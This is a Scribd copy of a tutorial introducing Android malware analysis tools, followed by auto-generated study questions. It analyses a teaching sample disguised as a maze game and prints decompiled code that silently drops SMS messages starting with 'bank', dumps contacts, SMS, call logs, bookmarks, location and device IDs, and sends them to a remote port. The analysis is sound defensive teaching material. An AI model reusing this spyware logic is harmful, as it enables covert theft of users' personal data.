0% found this document useful (0 votes)
25 views8 pages

Android Malware Analysis Tools Overview

This document provides an introduction to Android malware analysis, detailing the tools and methods used for analyzing malicious applications on the Android platform. It discusses the structure of Android applications, the permissions they require, and various analysis tools like Dexter, Anubis, and APKInspector. The document also includes a case study of a sample malware application, outlining its functionalities and the data it attempts to steal.

Uploaded by

zekuelbouzrazi
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
25 views8 pages

Android Malware Analysis Tools Overview

This document provides an introduction to Android malware analysis, detailing the tools and methods used for analyzing malicious applications on the Android platform. It discusses the structure of Android applications, the permissions they require, and various analysis tools like Dexter, Anubis, and APKInspector. The document also includes a case study of a sample malware application, outlining its functionalities and the data it attempts to steal.

Uploaded by

zekuelbouzrazi
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Introduction to Android Malware Analysis

[Link]
Uğur Cihan KOÇ

In this article we will get an introduction into mobile malware on Android. The main goal is to give you an
overview of the tools used and provide you with a starting point for next [Link] will use some webservices
that provide a good overview of the malware and later specialized tools to understand the details.

This sample is a example malware([Link]) written for Reverse Engineering Summer School 2013
(Organized by Ruhr University-Bochum). It provides an overview of what Android malware is able to do. It is
not linked to a control server, so the data it steals will never leave our phone. However some personal data
will be visible in the logs and during our analysis, so we should use an emulator anyway.

Basically;

1 – Basics of Android Applications

Android is an open-source mobile operation system. It is now being developed by Google and is based on a
Linux kernel. The applications are written in Java and are transformed into a slightly different format known
as Dalvik. The apps are then run in the Dalvik virtual machine which provides a layer of abstraction over the
real hardware. This way most applications can be run on any Hardware as long as the API of the Operating
system meets the requirements of the app. Besides the Java part native code can be used. This needs to be
provided along with the application and must be compiled for all target platforms. The native code should
mainly be used for computation intensive tasks like graphic rendering. Below the Dalvik VM lies the Linux
kernel, which provides hardware abstraction and rights management. The permissions requested by the
Application are enforced by using Linux users and groups, so so far every malware known had to acquire
needed access rights the official way.

Android applications are packed in the format apk, which is a ZIP archive containing the
[Link], resources like media files, the actual code as [Link] and some other optional files.
The XML provides the Android system with important information like which class to use when starting the
app and what permissions are needed. Only permissions listed in this file will be provided to the application,
if it tries to use any other the call will either fail or return an empty result. When installing an application
these permissions are shown to the user, who must make sure that he reviews them to prevent malicious
apps from accessing important data or being installed in the first place. The code is contained in [Link],
which is a collection of all compiled classes. Instead of the regular format used in .jars all classes are packed
into one file which saves some space on the mobile device.
2 – Analysis Tools

In this part we will use some of the popular Android analysis tools. There are far more available than
discussed here, but we will focus on the ones that provide you with good results for the our sample.

2.1 Dexter

Dexter is a webservice that allows the upload of Android applications which will then be statically analysed.
It provides a quick overview of the metadata of the application and the included packages. The package
dependency graph shows all packages and its interconnections with the ability to quickly open the method
list of each one. The method list shows all classes and its functions. When looking at a function all API calls
will be listed which allows a basic understanding of the purpose of the function. By clicking on BBL graph the
Smali representation of the code will open. Smali is a Disassembly format for Dalvik code which lists the
commands executed by the virtual machine.

2.2 Anubis

Anubis is a webservice that allows the execution of Windows and Android binaries in a sandbox. Each sample
is run independently of each other. The resulting report lists any activities of the application including file
system and network activity. Also some static analysis results are provided including the permissions with
the distinction between permissions specified in the XML and the ones used via API-calls during the
execution. Usually a screenshot and, if applicable, a tcpdump of the traffic is provided.

2.3 APKInspector

APKInspector is a collection of many tools in one user interface. After the .apk has been loaded you can load
the Smali representation of functions by selecting the function in the Methods tab in the sideview.
APKInspector comes with Jad , a Java decompiler. It should be able to decompile most classes, but regularly
creates mistakes that either prevent a recompilation or sometimes make the class very hard to understand.
Also it might fail completely in some cases, then the Smali representation must be used.

2.4 Dex2Jar

Dex2Jar provides a way to transform the [Link] of an Android application into the jar format which can
be read by other Java reversing tools. For example Dex2Jar is used by APKInspector to transform the given
jar into a format understood by Jad before the decompilation is started. If you are experienced with Java
Reverse Engineering and have some favourite tools you can still use them after running Dex2Jar, even though
specialized tools might provide more information on the used APIs. My suggestion is APK to Java
RC2: [Link]
3 – Analysis of the Sample Malware
In this part the sample malware will be analysed. The main goal is the introduction into the tools used for
analysing it. The process given here is just an example, you can and should try other ways to understand the
malware.

3.1 Analysis with Anubis

The first notable thing in the report is the big list of permissions required by the application:

 [Link].READ_SMS
 [Link].RECEIVE_SMS
 [Link].READ_USER_DICTIONARY
 [Link]
 [Link].READ_CONTACTS
 [Link].ACCESS_FINE_LOCATION
 [Link].READ_CALENDER
 [Link].READ_HISTORY_BOOKMARKS
 [Link].WAKE_LOCK
 [Link].RECEIVE_BOOT_COMPLETED
 [Link].READ_PHONE_STATE
 [Link].ACCESS_NETWORK_STATE
 [Link].READ_CALL_LOG
 [Link].WRITE_CALL_LOG

Together with the screenshot of the application we can justify some of these, but by far not all. The internet
permission is common for games as many of them feature some kind of online statistics tracking, sharing
functionality or advertisements. Some also query the phone state to pause the game during a call or acquire
a wake lock to prevent the device from entering sleep mode while the game is running. However permissions
like reading contacts and bookmarks are a clear indication of an app that does more than just what it
advertises. The connections to [Link]:53471 also seem quite strange for a game. If your are using APK to
Java ;

public class Runner extends WakefulIntentService


{
public static final boolean DEBUG = true;
public static final String PREFS_NAME = "prefs";
private static long runNr = 0L;
private final String sendToHost = "[Link]";
private final int sendToPort = 53471;
private long startDate = 0L;
private XmlFoo xml = null;

private void addResultsetToXml(String paramString, Cursor paramCursor)


{
if ((paramCursor == null) || ([Link]() <= 0))
return;
//…

Analysis link is here.

3.2 Analysis with Dexter

The package dependency graph shows that there are four packages in total. We can ignore “[Link]”
as it only contains empty classes with default constructors. This can be confirmed by looking at the method
list of this package and the disassembly of the functions.
The package “[Link]” contains the game “Amazed” which can be found in the Play Store. The
only interesting part here is the onCreate Method of AmazedActiviy, which sets a recurring alarm every 15
seconds.

public class AmazedActivity extends Activity


{
private AmazedView mView;
[Link] wl;

public void onCreate(Bundle paramBundle)


{
[Link](paramBundle);
AlarmManager localAlarmManager = (AlarmManager)getSystemService("alarm");
PendingIntent localPendingIntent = [Link](this, 0, new Intent(this,
[Link]), 0);
[Link](2, 10000L + [Link](), 15000L,
localPendingIntent);
requestWindowFeature(1);
[Link] = new AmazedView(getApplicationContext(), this);
[Link](true);
setContentView([Link]);
}

The third class contains multiple event handlers. There exists an onBoot handler that sets the Alarm on boot,
a SmsReceiver and an alarmReceiver which runs the actual malware. The SmsReceiver is called everytime a
SMS is received by the device. It checks if the message starts with “bank”, if yes the message is dropped
using abortBroadcast().

public class SmsReceiver extends BroadcastReceiver


{
public static final String SMS_RECEIVED_INTENT =
"[Link].SMS_RECEIVED";
private static final String STEALTH_TEXT = "bank";

public void onReceive(Context paramContext, Intent paramIntent)


{
String str;
Object[] arrayOfObject;
SmsMessage[] arrayOfSmsMessage;
if ([Link]().equals("[Link].SMS_RECEIVED"))
{
Bundle localBundle = [Link]();
str = "";
if (localBundle != null)
{
arrayOfObject = (Object[])[Link]("pdus");
arrayOfSmsMessage = new SmsMessage[[Link]];
}
}
for (int i = 0; ; i++)
{
if (i >= [Link])
{
if ([Link]().startsWith("bank"))
{
abortBroadcast();
[Link](paramContext, "DROPPED SMS!", 1).show();
}
return;
}
arrayOfSmsMessage[i] = [Link]((byte[])arrayOfObject[i]);
str = str + arrayOfSmsMessage[i].getMessageBody().toString();
}
}
}

This means no notification is shown and the SMS is not visible in the log. The package “[Link]”
has six classes in total. The most important one is “Runner” which is the actual malicious code. Its method
“work()” is called by the alarmReceiver and checks if the device is connected to the internet.

public void work()


{
try
{
if (isOnline())
{
[Link]("Network ok, stealing! (run/gps/net: " + runNr + "/" +
[Link]().size() + "/" +
[Link]().size() + ")");
steal();
}
while (true)
{
runNr = 1L + runNr;
return;
[Link]("No Network, aborting. (run/gps/net: " + runNr + "/" +
[Link]().size() + "/" +
[Link]().size() + ")");
}

If yes the method “steal()” is called which collects the information and adds it to an XML with the help of the
class XMLFoo.
try {
while (true) {
String str1 = [Link]();
localObject5 = str1;
[Link]("imsi", (String) localObject5);
[Link]("dumping sms");
dumpSMS();
[Link]("dumping clog");
readCallLog();
[Link]("dumping bbookmarks");
readBrowserBookmarks();
[Link]("dumping bsearches");
readBrowserSearches();
if (runNr % 33L != 0L)
break;
[Link]("dumping dict");
readDictionary();
if (runNr % 33L != 0L)
break label592;
[Link]("dumping contacts");
readContacts();
if (runNr % 33L != 0L)
break label604;
[Link]("dumping calendar");
readCalendar();
[Link]("dumping geocoord");
[Link]("location");
localIterator1 = [Link]().iterator();
if ([Link]())
break label616;
localIterator2 = [Link]().iterator();
if ([Link]())
break label732;
[Link]();
[Link]();
prepareSend();
return;

//…

private void prepareSend()


{
long l = [Link]();
[Link]("Sending data...");
String str = [Link]();
[Link] = null;
[Link](str);
try
{
sendData(str);
[Link] localEditor = getSharedPreferences("prefs", 0).edit();
[Link]("d", l);
[Link]();
[Link]();
[Link]();
[Link]("Sent data to [Link]:53471");
return;
}
catch (Exception localException)
{
[Link]("Could not connect: " + [Link]());
}
}
The information collected, based on the API calls in the method list, are the following:

 IMSI
 SIM serial number
 Carrier name
 Device ID
 User dictionary (used for auto-completion)
 Contacts
 Call log
 Calender and appointments
 Searches in the browser
 Bookmarks in the browser
 Send and received SMS
 Location, acquired by querying GPS, network location and most accurate position available

3.3 Analysis using Android Emulator

The emulator confirms that it is indeed a game. The goal is to guide a marble through a maze using the
sensors of the device. Apart from that the output of logcat reveals that the malware actually is quite
verbose about what it does. It prints out what it is currently doing and the complete XML it tries to the
send:

<?xml version="1.0" encoding="UTF-8"?>


<stolenData date="1373990450819" startDate="0" runNr="100" androidVersion="14"
imei="000000000000000"
line1="15555215554" networkOp="Android" simSerial="89014103211118510720"
imsi="310260000000000\">
//TODO:
<smsdb>
<inbox address="00133742" date="1373991731815" body="Nyan%21" _id="5" />
</smsdb>
<callLog>
<call type="1" date="1374019215854" duration="5" name="Nyan cat" number="00133742" />
</callLog>
<browserBookmarks>
<bookmark title="Google" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="Picasa" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="Yahoo%21" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="MSN" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="Twitter" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="Facebook" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="Wikipedia" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="eBay" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="CNN" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="NY+Times" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="ESPN" url="http%3A%2F%[Link]%2F" visits="0" created="1373987203910"
/>
<bookmark title="Amazon" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
<bookmark title="Weather+Channel" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203 />
<bookmark title="BBC" url="http%3A%2F%[Link]%2F" visits="0"
created="1373987203910" />
</browserBookmarks>
<browserSearches>
<search search="nyan" date="1374019295821" />
</browserSearches>
<location />
</stolenData>

Also there are some additional information that were sent in the XML:

 Android Version
 IMEI
 Local systemtime
 Amount of runs of steal()

3.3 Analysis using Online Sites


If you want to analyze your apk also you can use analyze sites. My advice is ;

 [Link]
 [Link]
 [Link]
 [Link]
 [Link]
 [Link]
 [Link]

More than just a game , please check your games 

Common questions

Powered by AI

Network activity analysis is pivotal in detecting Android malware, as it sheds light on unauthorized data flows and communications. Anubis effectively uses network activity monitoring by sandboxing the malware and observing its network interactions. For example, unexpected connections to localhost or remote servers can indicate data leaks or command-and-control communications. The malware sample analyzed demonstrated strange network behaviors like connections to 127.0.0.1:53471, which flagged potential unauthorized actions. Such network analysis helps correlate permissions and runtime actions to unveil possible nefarious intent, thus reinforcing malware detection frameworks .

Improper permission usage by Android applications, as identified in malware analysis, poses severe risks including unauthorized data collection, invasive monitoring, or system manipulation. These arise from permissions like arbitrary access to contacts, location data, SMS, and system logs that are leveraged without clear justifications. Mitigation strategies include implementing robust permissions audits to ensure requests align with the app's core functions, utilizing user education on understanding and reviewing permissions during installation, and enforcing stricter controls over permission granularity. Continuous monitoring and analysis of application behavior post-installation can also help detect and respond to suspicious activities .

Dexter's static analysis complements Anubis's dynamic analysis to provide a comprehensive understanding of malware behavior. Dexter's static capabilities allow analysts to dissect the application code without running it, generating insights into the structural aspects, such as metadata, API calls, and dependency relationships. It helps form hypotheses about potential behaviors based on code paths and method invocations. Conversely, Anubis's dynamic analysis observes the application in execution, capturing runtime behavior, and interactions with the system, such as file access or network communication. Together, they offer a 360-degree view, where static analysis identifies possible attack vectors and dynamic analysis confirms or refutes these vectors through practical observation .

The concept of permissions in Android is designed to maintain security by controlling access to sensitive system and personal data features. Each application must declare the permissions it requires in its manifest file, which is then presented to the user upon installation. However, malware developers often exploit user consent by either disguising malicious intent under seemingly innocuous permissions or by bundling malware with legitimate applications. As every request for additional permissions requires user approval, a lack of caution or awareness can lead to unintentional consent, making the permissions system a vulnerability when not effectively policed or educated upon .

Tools like Dexter and Anubis provide significant analytical advantages in malware analysis by offering complementary functionalities. Dexter offers static analysis capabilities by generating metadata and package dependency graphs, which help elucidate an app's internal structure and functions without execution. It allows analysts to comprehend the API calls and their purposes effectively. Anubis, on the other hand, provides a dynamic analysis environment by executing applications in a sandbox, observing both file system and network activities. It distinguishes between permissions declared in the XML and those invoked at runtime via API calls, offering a more comprehensive behavioral understanding of potential malware .

The method 'steal()' is significant in the analyzed malware as it acts as the core functionality for data exfiltration from infected devices. It gathers sensitive information, including the device's IMSI, SIM serial number, carrier name, device ID, user dictionary, contacts, call logs, calendar events, browser searches and bookmarks, sent and received SMS, and geographical location data from GPS and network services. This comprehensive data collection violates user privacy and can potentially lead to identity theft or surveillance, highlighting the critical threat posed by the malware .

The use of native code in Android applications differs from Java code in terms of performance and security. Native code, usually written in C/C++, can be more efficient for computation-intensive tasks like graphics rendering, as it does not require an intermediate VM layer and can utilize lower-level system resources directly. However, this can also mean that applications using native code can potentially bypass the standard security checks implemented through the Dalvik VM. Thus, while native code can enhance performance, it could also introduce security vulnerabilities if not properly managed .

Permissions requested by an Android application are critical indicators of potential privacy breaches. In malware analysis, permissions such as reading SMS, contacts, location, and phone state can be suspect if they are not essential for the app's advertised functionality. For instance, a game app requesting access to contacts or call logs suggests it may perform unauthorized activities, like data collection beyond its major functions. Such discrepancies highlight the importance of scrutinizing the permissions an app requests to safeguard personal data .

The Android emulator can confirm suspicious application behavior by replicating the operational environment and monitoring system logs and network interactions. In malware analysis, it provides a testing ground to execute potential malware safely without risking real devices. For instance, the logcat output can reveal verbose application activities, detailing unexpected behavior such as data transmission attempts. The emulator can also verify UI events, ensure activities correspond with expected functionalities, and observe anomalies like unauthorized service initiations .

The Dalvik virtual machine (VM) plays a crucial role in the functioning of Android applications by providing an abstraction layer over the hardware. It allows applications written in Java to run on any hardware that meets the required API specifications of the Android Operating System. Dalvik transforms the Java bytecode into a distinct format called Dalvik Executable (.dex), which is optimized for the VM. This setup enables platform independence, as the same application code can run across different devices without modification, as long as they support the Android OS .

You might also like